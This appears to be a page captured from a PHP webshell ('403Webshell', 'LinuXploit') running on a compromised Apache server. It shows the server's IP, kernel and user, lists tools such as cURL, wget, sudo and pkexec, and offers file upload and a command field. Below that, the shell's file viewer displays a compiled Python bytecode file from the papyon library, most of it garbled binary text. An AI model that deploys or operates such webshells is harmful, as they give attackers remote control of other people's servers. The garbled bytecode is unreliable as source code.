403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python2.6/site-packages/papyon/gnet/io/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pyc
 Jc@sIddkTddkZdgZdeifdYZeiedS(i(t*NtAbstractClientcBseZdZheidddeifd6eidddddeifd	6eid
ddd
eiei	fd6Z
heieiei
ffd6eieieei
ffd6eieieei
ffd6ZeedZdZdZd%dZdZdZdZd%dZdZdZeeeZdZdZ eee Z!dZ"ee"d%Z#edZ$ed Z%d!Z&d"Z'ee&e'Z(ee&Z)d#Z*d$Z+RS(&sAbstract client base class.
    All network client classes implements this interface.

        @sort: __init__, open, send, close
        @undocumented: do_*, _configure, _pre_open, _post_open

        @since: 0.1sRemote HostsThe remote host to connect to.tthostsRemote PortsThe remote port to connect to.iitportsConnection StatussThe status of this connection.iitstatusterrortreceivedtsentcCsMtii|||_||_||_||_d|_t	i
|_dS(sInitializer

            @param host: the hostname to connect to.
            @type host: string

            @param port: a port number to connect to
            @type port: integer > 0 and < 65536

            @param domain: the communication domain.
            @type domain: integer
            @see socket module

            @param type: the communication semantics
            @type type: integer
            @see socket module
        N(tgobjecttGObjectt__init__t_hostt_portt_domaint_typetNonet
_transporttIoStatustCLOSEDt_AbstractClient__status(tselfRRtdomainttype((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pyRFs					cCs|idS(N(tclose(R((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pyt__del___scCst|idjp |idjp|idjo td|i|ifn|ititifjotS|iti	jpt
tS(Niis$Wrong host or port number : (%s, %d)(tlenRR
t
ValueErrorRRtOPENINGtOPENtFalseRtAssertionErrortTrue(R((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pyt
_configurecs6cCsti|_dS(N(RRt_status(Rt	io_object((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pyt	_pre_openlscCsdS(N((R((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pyt
_post_openoscCs
tdS(sOpen the connection.N(tNotImplementedError(R((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pytopensscCs
tdS(sClose the connection.N(R&(R((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pyRxscGs
tdS(s]Send data to the server.

            @param buffer: data buffer.
            @type buffer: string

            @param callback: a callback method that would be called when the
                data is atually sent to the server.
            @type callback: callback

            @param args: callback arguments to be passed to the callback.
        N(R&(Rtbuffertcallbacktargs((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pytsend|scCs|iS(N(R(R((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pyt
__get_hostscCs|id|dS(NR(tset_property(RR((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pyt
__set_hostscCs|iS(N(R
(R((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pyt
__get_portscCs|id|dS(NR(R-(RR((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pyt
__set_portscCs
|iiS(N(Rtgetsockname(R((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pyt__get_socknamescCs|iS(N(R(R((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pyRscCs|iS(N(R(R((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pyRscCs|iS(N(R(R((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pyt__get_statusscCs.|i|jo||_|idndS(NR(Rtnotify(Rt
new_status((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pyt__set_statuss	cCs\|idjo|iS|idjo|iS|idjo|iStd|idS(NRRRsunknown property %s(tnameRR
RtAttributeError(Rtpspec((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pytdo_get_propertyscCs|idjo7t|djotd|in||_ne|idjoD|idjp|idjotd|in||_ntd|idS(NRis
Wrong host %sRis
Wrong port %dsunknown property %s(R7RRRR
R8(RR9tvalue((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pytdo_set_propertys
 
N(,t__name__t
__module__t__doc__R	tTYPE_STRINGtPARAM_READWRITEtTYPE_INTRRtPARAM_READABLEt__gproperties__tSIGNAL_RUN_FIRSTt	TYPE_NONEt
TYPE_ULONGtobjectt__gsignals__tAF_INETtSOCK_STREAMRRR!RR$R%R'RR+t_AbstractClient__get_hostt_AbstractClient__set_hosttpropertyRt_AbstractClient__get_portt_AbstractClient__set_portRt_AbstractClient__get_socknametsocknameRRt_AbstractClient__get_statust_AbstractClient__set_statusR"RR:R<(((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pyRsf
	
														
(tpapyon.gnet.constantsR	t__all__R
Rt
type_register(((s;/usr/lib/python2.6/site-packages/papyon/gnet/io/abstract.pyt<module>s
	

Youez - 2016 - github.com/yon3zu
LinuXploit